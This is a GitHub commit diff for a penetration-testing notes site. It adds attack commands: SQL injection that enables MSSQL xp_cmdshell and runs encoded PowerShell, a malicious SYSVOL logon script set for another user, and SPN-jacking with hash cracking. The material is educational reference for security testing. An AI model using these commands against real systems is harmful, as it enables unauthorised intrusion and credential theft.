Skip to content

Commit d664a7b

Browse files
committed
updated Windows exploits
1 parent 22bb076 commit d664a7b

File tree

9 files changed

+158
-35
lines changed

9 files changed

+158
-35
lines changed

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,9 +26,9 @@ This project contains vast information in the cybersecurity field such as below:
2626
## :warning: Disclaimer
2727

2828
Exploit Notes are only for educational purpose or penetration testing, not attacking servers that you're not authorized.This site will not take any responsibility even if you attack the server illegally or cause damage unintentionally.
29-
Please use the contents in this site at your own risk.
29+
Please use this contents at your own risk.
3030

31-
The contents of this site are not original, but based on the information on the internet, the author actually tried and functioned.
31+
The contents are not original, but based on the information on the internet, the author actually tried and functioned.
3232
Although the author strives to post the latest information on the content of this site as much as possible, there is no guarantee that it will always be new.
3333

3434
I'm not a security expert, just an enthusiast, so the contents are not necessarily accurate.

src/disclaimer.vto

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,10 @@ bodyClass: body-disclaimer
99
<p class="my-2 text-base">
1010
Exploit Notes are only for educational purpose or penetration testing, not attacking servers that you're not authorized.
1111
This site will not take any responsibility even if you attack the server illegally or cause damage unintentionally.
12-
Please use the contents in this site at your own risk.
12+
Please use the contents at your own risk.
1313
</p>
1414
<p class="my-2 text-base">
15-
The contents of this site are not original, but based on the information on the internet, the author actually tried and functioned.
15+
The contents are not original, but based on the information on the internet, the author actually tried and functioned.
1616
Although the author strives to post the latest information on the content of this site as much as possible, there is no guarantee that it will always be new.
1717
</p>
1818
<p class="my-2 text-base">

src/exploit/database/mssql-pentesting.md

Lines changed: 3 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ tags:
77
refs:
88
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
99
- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-ver16
10-
date: 2024-09-10
10+
date: 2024-10-13
1111
draft: false
1212
---
1313

@@ -159,21 +159,10 @@ If we connected MSSQL using **impacket**, we can exeucte the Windows Shell Comma
159159
We can execute commands the same as Windows Command Prompt.
160160

161161
```powershell
162-
# Get current user
163162
> xp_cmdshell whoami
164163
165-
# Show files and directories
166-
> xp_cmdshell dir
167-
> xp_cmdshell dir \Users
168-
# Show hidden files
169-
> xp_cmdshell dir /a
170-
171-
# Get current directory
172-
> xp_cmdshell cd
173-
174-
# Get contents of file
175-
> xp_cmdshell more \Users\Administrator\example.txt
176-
> xp_cmdshell type \Users\Administrator\example.txt
164+
# Execute obfuscated commands.
165+
> xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
177166
```
178167

179168
<br />

src/exploit/reverse-engineering/cheatsheet/windbg-cheatsheet.md

Lines changed: 69 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Reverse Engineering
66
refs:
77
- https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg
8-
date: 2024-06-27
8+
date: 2024-10-13
99
draft: false
1010
---
1111

@@ -39,15 +39,12 @@ See command usage by opening the help menu.
3939
# Force reload
4040
.reload /f
4141

42-
# List loaded symbols (modules)
43-
lm
44-
4542
# Examine symbols
46-
x ExecutableName!*
47-
# e.g.
48-
x notepad!*
49-
x notepad!wWin*
50-
x SampleApp!main
43+
x ntdll!NtQueryInformationProcess
44+
x notepad!*main*
45+
46+
# Resolve symbol name from address
47+
ln 00007ff6`6c5814c0
5148
```
5249

5350
### Troubleshoot for Loading Symbols
@@ -71,6 +68,19 @@ ba w 4 /w "mymodule!globalVariable == 4" mymodule!globalVariable
7168

7269
<br />
7370

71+
## Modules
72+
73+
```bash
74+
# List modules
75+
lm
76+
# List modules whose module names start with 'a'
77+
lm m a*
78+
# Display module information
79+
lm Dvm <module>
80+
```
81+
82+
<br />
83+
7484
## Breakpoints
7585

7686
```bash
@@ -133,6 +143,15 @@ qd
133143

134144
<br />
135145

146+
## Processes
147+
148+
```sh
149+
# List all processes
150+
!process 0 0
151+
```
152+
153+
<br />
154+
136155
## Disassembly
137156

138157
Select **View → Disassembly** on the menu.
@@ -195,6 +214,47 @@ dps nt!keservicedescriptortable L4
195214

196215
<br />
197216

217+
## Registers
218+
219+
```bash
220+
# List all registers
221+
r
222+
# In thread 0
223+
~0 r
224+
# In all threads
225+
~* r
226+
227+
# Display a specified register
228+
r rip
229+
230+
# Display a pseudo-register
231+
r $peb
232+
r $teb
233+
234+
# Display xmm0 in unsigned bytes 16
235+
r xmm0:16ub
236+
237+
# Modify a register value
238+
r rax=0001
239+
240+
# Copy RBX value to RAX
241+
r rax = @rbx
242+
```
243+
244+
<br />
245+
246+
## Search Memory
247+
248+
```bash
249+
# Search the DWORD 'H' in the range of 1000000 bytes from the RSP address.
250+
s -d @rsp L1000000 'H'
251+
252+
# Search the string "B7" in the range of 10000000 bytes from the RSP address.
253+
s -a @rsp L10000000 "B7"
254+
```
255+
256+
<br />
257+
198258
## Virtual Memory Protection Information
199259

200260
```bash
@@ -219,7 +279,6 @@ u $exentry
219279
# Unassemble backwards
220280
ub
221281
ub <address>
222-
223282
```
224283

225284
<br />

src/exploit/web/jwt-pentesting.md

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Web
66
refs:
77
- https://portswigger.net/web-security/jwt
8-
date: 2024-09-25
8+
date: 2024-10-13
99
draft: false
1010
---
1111

@@ -53,6 +53,12 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
5353

5454
<br />
5555

56+
## Modify `exp` Value
57+
58+
If our JWT token is invalid, we can also try to increase the `exp` (expiration) value.
59+
60+
<br />
61+
5662
## Automation
5763

5864
**[JWT Toolkit](https://github.com/ticarpi/jwt_tool)** is a toolkit for testing, tweaking and cracking JWT.

src/exploit/web/security-risk/sql-injection-cheat-sheet.md

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ refs:
1010
- https://portswigger.net/web-security/sql-injection/blind
1111
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
1212
- https://tryhackme.com/room/adventofcyber2023
13-
date: 2024-05-01
13+
date: 2024-10-13
1414
draft: false
1515
---
1616

@@ -416,10 +416,21 @@ INSERT INTO users (username, password) VALUES ('admin', '') ON CONFLICT (usernam
416416

417417
## Command Injection
418418

419+
### MySQL
420+
419421
```text
420422
' UNION SELECT NULL,sys_eval('whoami') FROM users-- -
421423
```
422424

425+
### MSSQL
426+
427+
```html
428+
<!-- 1. Enable OS commands. -->
429+
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
430+
<!-- 2. Execute command -->
431+
'; exec master..xp_cmdshell 'powershell -e <BASE64_COMMAND>';-- -
432+
```
433+
423434
<br />
424435

425436
## RCE

src/exploit/windows/active-directory/index.md

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,8 @@ tags:
77
- Windows
88
refs:
99
- https://tryhackme.com/room/adenumeration
10-
date: 2024-03-26
10+
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
11+
date: 2024-10-13
1112
draft: false
1213
---
1314

@@ -113,6 +114,25 @@ dir \\dc.example.com\SYSVOL\
113114

114115
<br />
115116

117+
## Abuse Logon Script for Other Users
118+
119+
If the current user has the permission to write scripts in SYSVOL, we may be able to change other users logon script path.
120+
121+
```bash
122+
# 1. Check the permission
123+
icacls C:\Windows\SYSVOL\sysvol\example.local\scripts\
124+
125+
# 2. Modify/Add a malicious script
126+
'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\scripts\evil.bat
127+
128+
# 3. Set logon script for the specified user
129+
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\scripts\evil.bat
130+
```
131+
132+
When the other user logs on, the `.bat` script will be executed.
133+
134+
<br />
135+
116136
## Force Change Password Attack
117137
118138
If we found some username/password, and other usernames, we might be able to change other user passwords. The user needs to have **GenericAll** permission to change passwords of other users.

src/exploit/windows/privilege-escalation/index.md

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ tags:
88
refs:
99
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
1010
- https://learn.microsoft.com/en-us/powershell/scripting/samples/working-with-registry-keys?view=powershell-7.3
11-
date: 2024-09-14
11+
date: 2024-10-13
1212
draft: false
1313
---
1414

@@ -25,7 +25,9 @@ We might be able to find vulnerabilities on target Windows machine with automati
2525
## LOLBAS (Living Off the Land Binaries, Scripts and Libraries)
2626

2727
[LOLBAS](https://lolbas-project.github.io/) provides misuses tools and executables already in the Windows system.
28-
So check the website.
28+
So check the website.
29+
30+
In addition, I've created the [LOLGEN](https://lolgen.hdks.org/) that generates Living Off The Land payload.
2931

3032
<br />
3133

@@ -130,8 +132,8 @@ Get-Service | Where-Object {$_.Status -eq "Running"}
130132
wmic service list
131133
wmic service list | findstr "Backup"
132134
133-
# Get target process info
134-
wmic process get processid,parentprocessid,executablepath | find "<process-id>"
135+
# Enumerate processes in CSV format
136+
wmic process get caption,executablepath,commandline,processid /format:csv
135137
# Get users SID
136138
wmic useraccount get name,sid
137139
# Launch the hidden executable hiding within ADS
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
---
2+
title: SPN-Jacking
3+
description: If the current user has a right to write the SPN of another user, we can achieve lateral movement or privilege escalation.
4+
tags:
5+
- Active Directory
6+
- Privilege Escalation
7+
- Windows
8+
refs:
9+
- https://www.thehacker.recipes/ad/movement/kerberos/spn-jacking
10+
date: 2024-10-13
11+
draft: false
12+
---
13+
14+
## Exploit
15+
16+
### 1. Set SPN and Get the Hash of the Service Ticket
17+
18+
```bash
19+
# 1. Import PowerView module
20+
. .\PowerView.ps1
21+
22+
# 2. Set SPN
23+
Set-DomainObject -Identity <OTHER_USER> -SET @{serviceprincipalname='evil/evil'}
24+
25+
# 3. Request sercice ticket
26+
Get-DomainSPNTicket -SPN evil/evil
27+
```
28+
29+
### 2. Crack the Hash
30+
31+
After that, we retrieve the hash of the ticket, so crack it on your local machine:
32+
33+
```bash
34+
# -m 13100: Replace it with the appropriate number depending on the algorithm.
35+
hashcat -a 0 -m 13100 hash.txt wordlist.txt
36+
```

0 commit comments

Comments
 (0)